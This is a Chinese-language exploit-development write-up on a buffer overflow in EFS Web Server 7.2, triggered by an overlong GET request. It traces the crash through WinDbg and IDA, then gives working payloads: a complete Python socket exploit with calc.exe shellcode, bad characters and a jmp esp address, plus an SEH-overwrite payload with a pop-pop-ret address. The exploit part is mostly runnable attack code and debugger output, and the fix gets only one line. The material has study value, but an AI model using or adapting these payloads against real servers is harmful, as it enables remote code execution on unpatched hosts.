简介
EFS Web Server是一个可以通过web端管理服务器文件的软件,发送GET请求长度过长会触发缓冲区溢出漏洞
分析来源:https://www.exploit-db.com/exploits/39008/
实验环境
WinXP sp3 中文版
EFS Web Server7.2
immunity debugger
windbg
IDA
mona
漏洞分析
由于作者使用的覆盖SEH程序的地址在ImageLoad.dll中,没ASLR,所以利用比较稳定,打开就弹出计算器
我们将payload该成全是A吧,buff = "A"*4500
windbg附加后运行,发送我们的4500个A
0:005> g
(39c.ebc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????
我们看到发生了一个应用异常,可以看到eax的值为0x41414141,那么eax的值我们是可以控制的咯,那具体是不知可以覆盖SEH,跟着这里引发异常,导致可以执行我们的shellcode呢
那我们看看eax的值来源于哪里呢,ida打开sqlite3.dll,定位到如下函数
signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
signed int v1; // ebx@2
if ( a1 )
{
v1 = 1;
if ( *(_DWORD *)(a1 + 0x4C) != 0xA029A697 ) // 这里就是异常触发的地方
{
LOBYTE(v1) = 0;
if ( sqlite3SafetyCheckSickOrOk() )
sqlite3_log(21, "API call with %s database connection pointer", "unopened");
}
}
.....
}
看到这里只知道eax来源于上层函数
我们看看堆栈调用
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055f40 61c6286c 000011b8 00001194 0154249c sqlite3!sqlite3_errcode+0x8e
02055f80 004968f4 00000001 00000000 02055fac sqlite3!sqlite3_declare_vtab+0x3282
02057624 00000000 00000000 0205758c 020575a0 fsws+0x968f4
根据第一个返回地址61c6286c
我们定位到_sqlite3LockAndPrepare函数
这里还是没看到eax的来源
.text:61C6284E _sqlite3LockAndPrepare proc near ; CODE XREF: _sqlite3_step+C3p
.text:61C6284E ; _sqlite3Prepare16+C0p ...
.text:61C6284E
.text:61C6284E var_20 = dword ptr -20h
.text:61C6284E var_1C = dword ptr -1Ch
.text:61C6284E arg_0 = dword ptr 8
.text:61C6284E arg_4 = dword ptr 0Ch
.text:61C6284E arg_8 = dword ptr 10h
.text:61C6284E arg_C = dword ptr 14h
.text:61C6284E
.text:61C6284E push ebp
.text:61C6284F mov ebp, esp
.text:61C62851 push edi
.text:61C62852 push esi
.text:61C62853 push ebx
.text:61C62854 sub esp, 2Ch
.text:61C62857 mov ebx, eax
.text:61C62859 mov edi, edx
.text:61C6285B mov [ebp+var_1C], ecx
.text:61C6285E mov esi, [ebp+arg_8]
.text:61C62861 mov dword ptr [esi], 0
.text:61C62867 call _sqlite3SafetyCheckOk
那我们还是看fsws.exe的004968f4
吧
.text:004968D0 sub_4968D0 proc near ; CODE XREF: sub_4971A0+EFp
.text:004968D0 ; sub_497440+29p ...
.text:004968D0
.text:004968D0 var_4 = dword ptr -4
.text:004968D0 arg_0 = dword ptr 4
.text:004968D0 arg_4 = dword ptr 8
.text:004968D0
.text:004968D0 push ecx
.text:004968D1 mov eax, [esp+4+arg_4]
.text:004968D5 push esi
.text:004968D6 test eax, eax
.text:004968D8 mov [esp+8+var_4], 0
.text:004968E0 push 0
.text:004968E2 jz short loc_496914
.text:004968E4 lea edx, [esp+0Ch+arg_4]
.text:004968E8 push edx
.text:004968E9 push 0FFFFFFFFh
.text:004968EB push eax
.text:004968EC mov eax, [ecx] ; eax来源于这里的ecx的引用
.text:004968EE push eax
.text:004968EF call sqlite3_prepare_v2
我们在sub_4968D0函数开头下断
第三次断下来就看到ecx指向我们的41414141
了
0:005> g
Breakpoint 0 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=0205718b esi=02057058 edi=0154249c
eip=004968d0 esp=02055fa4 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fsws+0x968d0:
004968d0 51 push ecx
0:005> dd ecx
02057058 41414141 41414141 41414141 41414141
02057068 41414141 41414141 41414141 41414141
02057078 41414141 41414141 41414141 41414141
02057088 41414141 41414141 41414141 41414141
02057098 41414141 41414141 41414141 41414141
020570a8 41414141 41414141 41414141 41414141
020570b8 41414141 41414141 41414141 41414141
020570c8 41414141 41414141 41414141 41414141
那这个0x41414141
是什么时候复制到栈上的呢
我们对02057058
下一个写入断点吧
在这里暂停了下来
0:005> g
Breakpoint 1 hit
eax=00000041 ebx=00000132 ecx=02055f74 edx=02057058 esi=015434fe edi=02055f48
eip=00500df0 esp=02055cd0 ebp=02055cd0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
fsws+0x100df0:
00500df0 ff01 inc dword ptr [ecx] ds:0023:02055f74=02057058
我们用ida看看这个地址,分析多了,看到这个write_char,就会联想上层调用了sprintf
.text:00500DDE ; int __cdecl write_char(int, FILE *, int)
.text:00500DDE _write_char proc near ; CODE XREF: sub_500640+1D2p
.text:00500DDE ; sub_500640+1EBp ...
.text:00500DDE
.text:00500DDE arg_0 = dword ptr 8
.text:00500DDE arg_4 = dword ptr 0Ch
.text:00500DDE arg_8 = dword ptr 10h
.text:00500DDE
.text:00500DDE push ebp
.text:00500DDF mov ebp, esp
.text:00500DE1 mov ecx, [ebp+arg_4]
.text:00500DE4 dec dword ptr [ecx+4]
.text:00500DE7 js short loc_500DF7
.text:00500DE9 mov edx, [ecx]
.text:00500DEB mov al, byte ptr [ebp+arg_0]
.text:00500DEE mov [edx], al
.text:00500DF0 inc dword ptr [ecx]
那我们看看堆栈信息
0:005> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
02055cd0 00500e69 00000041 02055f74 02055f48 fsws+0x100df0
02055f5c 004f9698 02055f74 005a2859 02055fb0 fsws+0x100e69
02055f94 00497753 02055fd4 005a283c 013746c0 fsws+0xf9698
02057624 00000000 00000000 0205758c 020575a0 fsws+0x97753
确实004f9698
在sprintf函数内
那我们继续看下一个返回地址
.text:00497745 push edi
.text:00497746 push eax
.text:00497747 push ecx
.text:00497748 push offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:0049774D push edx ; char *
.text:0049774E call _sprintf
我们看看最后拼接的语句:bp 00497745
第一次断下来,我们执行到sprintf函数,看看栈上的参数
0:005> dd esp
02055f9c 02055fd4 005a283c 013746c0 01374670
02055fac 0154249c ffffffff 02057228 00001107
02055fbc 013746c0 01374670 00000000 00000000
02055fcc 00000000 01375900 656c6573 2a207463
02055fdc 6f726620 7173206d 6261746c 6c20656c
02055fec 74696d69 00003120 00000000 00000000
02055ffc 00000000 00000000 00000000 00000000
0205600c 00000000 00000000 00000000 00000000
0:005> dc 02055fd4 //格式化第一个参数即,目的地址
02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 6c20656c 74696d69 00003120 ltable limit 1..
02055ff4 00000000 00000000 00000000 00000000 ................
02056004 00000000 00000000 00000000 00000000 ................
02056014 00000000 00000000 00000000 00000000 ................
02056024 00000000 00000000 00000000 00000000 ................
02056034 00000000 00000000 00000000 00000000 ................
02056044 00000000 00000000 00000000 00000000 ................
0:005> dc 0154249c //sprintf最后一个参数
0154249c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424ac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424bc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424cc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424dc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424ec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015424fc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0154250c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
这么长的畸形字符串复制到栈上,使用sprintf格式化前有进行加成,这就造成栈溢出了
看看确实拼接成sql语句了
0:005> dc 02055fd4
02055fd4 656c6573 2a207463 6f726620 7173206d select * from sq
02055fe4 6261746c 7720656c 65726568 6d616e20 ltable where nam
02055ff4 41273d65 41414141 41414141 41414141 e='AAAAAAAAAAAAA
02056004 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056014 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056024 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056034 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02056044 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
最后拿去给给sqlite3.dll处理的时候造成异常
具体路径如下,sprintf执行完下一条语句是调用sub_4968D0函数
sub_4968D0
->sqlite3_prepare_v2
->sqlite3LockAndPrepare
->sqlite3SafetyCheckOk(在这函数里面异常)
那么0154249c
上的畸形字符串哪里来,来源于sub_52DF03函数的memcpy函数的复制
漏洞利用
试试覆盖返回地址
作者使用的是覆盖SEH的方法,那是不是只能覆盖SEH呢?(是不是没执行到ret指令程序就崩溃掉了呢)
我们看看返回地址有多远
char v15; // [sp+20h] [bp-100Ch]@3
我们要溢出的buf距离ebp都㓟0x100c,即4108个字节
当然函数这里没有生成栈帧
那我们看看触发异常获取栈上02057058的值
>>> hex(0x02057058- 0x02055fd4)
'0x1084'
那是可以覆盖返回地址的,我们尝试用4150个A
!mona pattern_create 4150
0:005> g
......
(c7c.738): Access violation(c7c.738): Access violation - code c0000005 (first chance)
- code c0000005 (first chance)
......
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
eax=00000000 ebx=00001007 ecx=34664633 edx=005aae28 esi=02057228 edi=ffffffff
eip=38664637 esp=02056ff0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
38664637 ?? ???
计算一下
!mona pattern_offset 0x38664637
地址是4073(为什么比v15距离ebp的4180字节要小呢,因为前面还有sql语句的长度啊,O(∩_∩)O哈哈~)
但是下面的payload没起作用,服务器也没崩,调试也正常返回了
buff = "A" * 4073 + jmp_esp + "x90" * 20 + shellcode
那为什么之前eip会是0x38664637
呢
跟踪一下看看,确实会retn到0x38664637
是不是我们的payload有什么问题呢
通过调试进一步排查,是触发了异常,也是一开始我们所看到的异常,
我们向前回溯看看这个eax的值来源于02057058,值是391c5a09
0:005> g
Breakpoint 2 hit
eax=02055fd4 ebx=00001101 ecx=02057058 edx=02055fac esi=02057058 edi=0154247c
eip=004968ec esp=02055f8c ebp=02057624 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
fsws+0x968ec:
004968ec 8b01 mov eax,dword ptr [ecx] ds:0023:02057058=391c5a09
我们再看看我们的shellcode,从倒数第二个字节起向前数4个字节,刚好是0x391c5a09
,那说明是我们的shellcode过长,覆盖到了上一函数栈帧的数据,导致异常的发生
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
"xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
"xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
"x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
"xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
"xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
"xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
"x1cx39xbd"
)
那怎么解决?
1. 使用短一点的shellcode,这样无疑对我们的攻击有很大的限制
2. 由于前面我为了保险使用了长的nop,由于是retn 0xC,12个x90
就行了,这样我们的shellcode应该也可以起作用
对于第二点我发现过短了
buff = "A" * 4073 + jmp_esp + "x90" * 12 + shellcode
调试发现没有复制0154249c
的0x41414141
而且也不是where name,应该后面的数据影响了
0:005> dc 020560f0
020560f0 656c6573 2a207463 6f726620 7173206d select * from sq
02056100 6261746c 7720656c 65726568 65737520 ltable where use
02056110 3d646972 00002727 00000000 00000000 rid=''
在后面加3个x90
就会异常
最后排查测试,这样是可以执行jmp esp的
buff = "A" * 4073 + jmp_esp
那我们在后面搞个先前跳转不就行了?
最终exp:
# Usage: ./exploit.py ip port
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
# calc.exe
# Bad Characters: x20 x2f x5c
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
"xb1x13x31x72x19x83xc2x04x03x72x15x5bxd6x56"
"xe3xc9x71xfax62x81xe2x75x82x0bxb3xe1xc0xd9"
"x0bx61xa0x11xe7x03x41x84x7cxdbxd2xa8x9ax97"
"xbax68x10xfbx5bxe8xadx70x7bx28xb3x86x08x64"
"xacx52x0ex8dxddx2dx3cx3cxa0xfcxbcx82x23xa8"
"xd7x94x6ex23xd9xe3x05xd4x05xf2x1bxe9x09x5a"
"x1cx39xbd"
)
jmp_esp = "x8bx1cxa0x71" #0x71A01C8B jmp esp -> from wshtcpip.dll
buff = shellcode + "x90" * (4073-len(shellcode)) + jmp_esp + "x90" * 12 + "xE9x02xf0xffxff"
print len(shellcode)
# GET
a.send("GET " + buff + " HTTP/1.0
")
a.close()
print "Done..."
当然你也可以将shellcode改为弹窗的(注可能有些shellcode不能执行,有些位置的某些字符可能影响程序的执行流程或者sql查询的结果)
下面看看我们弹窗效果
那使用覆盖SEH是不是没遇到这么多麻烦呢?
覆盖SEH
首先定位SEH
0:005> !exchain
02056fd4: 46356646
Invalid exception stack at 34664633
Address=0BADF00D Message= - Pattern 3Ff4 (0x34664633) found in Metasploit pattern at position 4061
可以看到位置为4061,跟作者的exp写的是一样的,但这里是NEXT SEH的位置而已哦
我们先看看作者的思路
0:005> g
(c98.48c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41909090 ebx=00000001 ecx=ffffffff edx=02055fd4 esi=02055fac edi=02055fd4
eip=61c277f6 esp=02055f28 ebp=02055f40 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch],0A029A697h ds:0023:419090dc=????????
0:005> !exchain
ImageLoad!SaveTIF+b68 (10019798)
Invalid exception stack at 90900aeb
0:005> bp 10019798
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10019798 edx=7c9232bc esi=00000000 edi=00000000
eip=10019798 esp=02055b58 ebp=02055b78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageLoad!SaveTIF+0xb68:
10019798 5e pop esi
0:005> dd esp
02055b58 7c9232a8 02055c40 02056fd4 02055c5c
02055b68 02055c14 02056fd4 7c9232bc 02056fd4
02055b78 02055c28 7c92327a 02055c40 02056fd4
02055b88 02055c5c 02055c14 10019798 02055fd4
02055b98 02055c40 02056fd4 7c94a8c3 02055c40
02055ba8 02056fd4 02055c5c 02055c14 10019798
02055bb8 02055fd4 02055c40 02055fac 003fbb58
02055bc8 003fbb60 02055bb0 018a0b10 018a0a10
我们看到暂停下来后,确实到了我们伪造的SEH程序处理的位置
其实windbg比较难看
我们用od吧^_^
下面是在系统异常处理的时候获取我们伪造的SEH程序的位置
我们看看执行到10019798时,栈的情况,发现esp+8的位置就是我们之前NEXT SEH的位置
不信看图
最后在Next SEH的指令跳过了垃圾代码,从而执行shellcode
最后还要说明的是最后为啥还要加那么长的字符
就是下面这一串,作者为什么加
buff+= "x90"*7
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)"
如果不加,程序的执行流程有点变化有点问题,从而触发不了异常
那么是不是一定要加到4500那么长呢,肯定不是啊
我在最后加50个A也行啊,10个A也行,甚至4个A也行
3个就不行了(但是3个的时候又不是那个问题,调试了一下发现程序的执行的流程,拼接的sql语句没问题,问题是最后拼接3个A的话,竟然没导致异常,从而不能触发SEH,而是执行到了函数最后的ret指令,返回到了0x90909090处了,导致最后不能正确执行shellcode)
那怎么让后面接3个A也行呢,就是将payload中shellcode的前9-12个0x90替换为jmp esp的地址即可,不信看看下面是不是这样
0:005> p
eax=00000000 ebx=00001007 ecx=90900aeb edx=005aae28 esi=02057228 edi=ffffffff
eip=00497832 esp=02056fe0 ebp=02057624 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
fsws+0x97832:
00497832 c20c00 ret 0Ch
0:005> dd esp
02056fe0 90909090 90909090 90909090 d9909090
02056ff0 23b9becb 74d93167 295af424 3113b1c9
02057000 c2831972 15720304 e356d65b 62fa71c9
02057010 8275e281 c0e1b30b a0610bd9 4103e711
02057020 d2db7c84 ba979aa8 5bfb1068 7b70ade8
02057030 0886b328 0e52ac64 3c2ddd8d bcfca03c
02057040 d7a82382 d9236e94 05d405e3 09e91bf2
02057050 bd391c5a 27414141 01841000 00000000
但是为什么这样?,这是一个需要进一步探索的问题
下面这个是最后加50个A的payload
# Junk
buff = "A"*4061
# Next SEH
buff+= "xebx0Ax90x90"
# pop pop ret
buff+= "x98x97x01x10"
buff+= "x90"*19
# calc.exe
# Bad Characters: x20 x2f x5c
shellcode = (
"xd9xcbxbexb9x23x67x31xd9x74x24xf4x5ax29xc9"
......
......
)
buff+= shellcode
buff+= "A" * 50
漏洞修复
使用安全的snprintf,或者对字符串长度进行限制
漏洞总结
由于使用sprintf格式化sql语句查询的时候对长度没有严格限制,导致缓冲区溢出,漏洞利用无论是覆盖返回地址还是覆盖SEH都有一些坑